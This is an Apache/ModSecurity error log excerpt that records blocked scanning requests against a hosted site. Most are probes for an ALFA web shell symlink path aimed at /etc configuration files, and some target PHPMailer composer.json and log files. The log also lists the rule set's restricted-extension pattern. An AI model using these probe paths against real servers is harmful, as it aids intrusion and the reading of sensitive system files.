[Tue Oct 27 11:39:25.089833 2026] [security2:error] [pid 3258911:tid 3258911] [client 216.247.103.83:42212] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "auDFrRCwBEVx62gvGnxmRQAAACs"]
[Tue Oct 27 11:39:25.090074 2026] [security2:error] [pid 3258911:tid 3258911] [client 216.247.103.83:42212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/sudo-ldap.conf"] [unique_id "auDFrRCwBEVx62gvGnxmRQAAACs"]
[Tue Oct 27 11:39:25.090745 2026] [security2:error] [pid 3258911:tid 3258911] [client 216.247.103.83:42212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFrRCwBEVx62gvGnxmRQAAACs"]
[Tue Oct 27 11:39:29.468138 2026] [security2:error] [pid 3258843:tid 3258843] [client 144.168.11.192:35546] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /betaok/vendor/phpmailer/phpmailer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/betaok/vendor/phpmailer/phpmailer/composer.json"] [unique_id "auDFsTdF25ClLwUY9-8ZoQAAAFQ"]
[Tue Oct 27 11:39:29.468538 2026] [security2:error] [pid 3258843:tid 3258843] [client 144.168.11.192:35546] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/betaok/vendor/phpmailer/phpmailer/composer.json"] [unique_id "auDFsTdF25ClLwUY9-8ZoQAAAFQ"]
[Tue Oct 27 11:39:29.469365 2026] [security2:error] [pid 3258843:tid 3258843] [client 144.168.11.192:35546] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFsTdF25ClLwUY9-8ZoQAAAFQ"]
[Tue Oct 27 11:39:32.961241 2026] [authz_core:error] [pid 3258976:tid 3258976] [client 216.73.217.51:6589] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 11:39:33.029736 2026] [security2:error] [pid 3258798:tid 3258798] [client 173.244.40.167:37470] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.conf"] [unique_id "auDFtVoecnS6QkeoWVQ0JQAAACk"]
[Tue Oct 27 11:39:33.029980 2026] [security2:error] [pid 3258798:tid 3258798] [client 173.244.40.167:37470] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/exim.conf"] [unique_id "auDFtVoecnS6QkeoWVQ0JQAAACk"]
[Tue Oct 27 11:39:33.030730 2026] [security2:error] [pid 3258798:tid 3258798] [client 173.244.40.167:37470] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFtVoecnS6QkeoWVQ0JQAAACk"]
[Tue Oct 27 11:39:33.467156 2026] [authz_core:error] [pid 3258976:tid 3258976] [client 216.73.217.51:6589] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 11:39:33.966132 2026] [authz_core:error] [pid 3258976:tid 3258976] [client 216.73.217.51:6589] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 11:39:34.164181 2026] [ssl:error] [pid 3258787:tid 3258787] (70014)End of file found: [client 54.83.240.58:12920] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:39:34.478050 2026] [authz_core:error] [pid 3258976:tid 3258976] [client 216.73.217.51:6589] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Tue Oct 27 11:39:35.807477 2026] [security2:error] [pid 3258913:tid 3258913] [client 199.255.150.134:50476] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "auDFtwsCq2gGLCWNpv3jBwAAAC0"]
[Tue Oct 27 11:39:35.807689 2026] [security2:error] [pid 3258913:tid 3258913] [client 199.255.150.134:50476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/dracut.conf"] [unique_id "auDFtwsCq2gGLCWNpv3jBwAAAC0"]
[Tue Oct 27 11:39:35.808372 2026] [security2:error] [pid 3258913:tid 3258913] [client 199.255.150.134:50476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFtwsCq2gGLCWNpv3jBwAAAC0"]
[Tue Oct 27 11:39:41.480073 2026] [security2:error] [pid 3258908:tid 3258908] [client 166.88.184.132:44518] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/agent360.ini"] [unique_id "auDFvXMWyVPCfBWbOkom6QAAACY"]
[Tue Oct 27 11:39:41.480425 2026] [security2:error] [pid 3258908:tid 3258908] [client 166.88.184.132:44518] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/agent360.ini"] [unique_id "auDFvXMWyVPCfBWbOkom6QAAACY"]
[Tue Oct 27 11:39:41.481183 2026] [security2:error] [pid 3258908:tid 3258908] [client 166.88.184.132:44518] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFvXMWyVPCfBWbOkom6QAAACY"]
[Tue Oct 27 11:39:41.548183 2026] [security2:error] [pid 3252638:tid 3252638] [client 175.29.119.226:45446] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /beta/phpmailer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/beta/PHPMailer/composer.json"] [unique_id "auDFvQpeqqGhHNggL2EZCQAAABc"]
[Tue Oct 27 11:39:41.548422 2026] [security2:error] [pid 3252638:tid 3252638] [client 175.29.119.226:45446] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/beta/PHPMailer/composer.json"] [unique_id "auDFvQpeqqGhHNggL2EZCQAAABc"]
[Tue Oct 27 11:39:41.549267 2026] [security2:error] [pid 3252638:tid 3252638] [client 175.29.119.226:45446] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFvQpeqqGhHNggL2EZCQAAABc"]
[Tue Oct 27 11:39:42.047596 2026] [security2:error] [pid 3258900:tid 3258900] [client 155.117.195.179:37920] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.conf"] [unique_id "auDFvqmmltVfzQDO9WR2ygAAACI"]
[Tue Oct 27 11:39:42.047958 2026] [security2:error] [pid 3258900:tid 3258900] [client 155.117.195.179:37920] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/request-key.conf"] [unique_id "auDFvqmmltVfzQDO9WR2ygAAACI"]
[Tue Oct 27 11:39:42.049020 2026] [security2:error] [pid 3258900:tid 3258900] [client 155.117.195.179:37920] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFvqmmltVfzQDO9WR2ygAAACI"]
[Tue Oct 27 11:39:42.154808 2026] [ssl:error] [pid 3258911:tid 3258911] (70014)End of file found: [client 44.215.210.112:64343] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:39:42.418633 2026] [security2:error] [pid 3258812:tid 3258812] [client 5.39.197.250:35250] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/wapisimodatabase.log"] [unique_id "auDFviSOROer-xTstJN-iAAAADU"]
[Tue Oct 27 11:39:42.418905 2026] [security2:error] [pid 3258812:tid 3258812] [client 5.39.197.250:35250] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/wapisimodatabase.log"] [unique_id "auDFviSOROer-xTstJN-iAAAADU"]
[Tue Oct 27 11:39:42.419645 2026] [security2:error] [pid 3258812:tid 3258812] [client 5.39.197.250:35250] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFviSOROer-xTstJN-iAAAADU"]
[Tue Oct 27 11:39:43.544275 2026] [security2:error] [pid 3258972:tid 3258972] [client 199.255.150.203:40132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/locale.conf"] [unique_id "auDFv5pBrJlvwR8gIX-7mwAAAAU"]
[Tue Oct 27 11:39:43.544540 2026] [security2:error] [pid 3258972:tid 3258972] [client 199.255.150.203:40132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/locale.conf"] [unique_id "auDFv5pBrJlvwR8gIX-7mwAAAAU"]
[Tue Oct 27 11:39:43.545300 2026] [security2:error] [pid 3258972:tid 3258972] [client 199.255.150.203:40132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFv5pBrJlvwR8gIX-7mwAAAAU"]
[Tue Oct 27 11:39:43.741196 2026] [security2:error] [pid 3258899:tid 3258899] [client 64.204.46.30:53624] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "auDFv_kE2pn1qK5LHPrefgAAACE"]
[Tue Oct 27 11:39:43.741455 2026] [security2:error] [pid 3258899:tid 3258899] [client 64.204.46.30:53624] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/sysctl.conf"] [unique_id "auDFv_kE2pn1qK5LHPrefgAAACE"]
[Tue Oct 27 11:39:43.742075 2026] [security2:error] [pid 3258899:tid 3258899] [client 64.204.46.30:53624] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFv_kE2pn1qK5LHPrefgAAACE"]
[Tue Oct 27 11:39:45.543808 2026] [security2:error] [pid 3258822:tid 3258822] [client 94.103.49.201:36544] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/pure-ftpd.conf"] [unique_id "auDFwcVLJW-GdBR6BLIRWwAAAD8"]
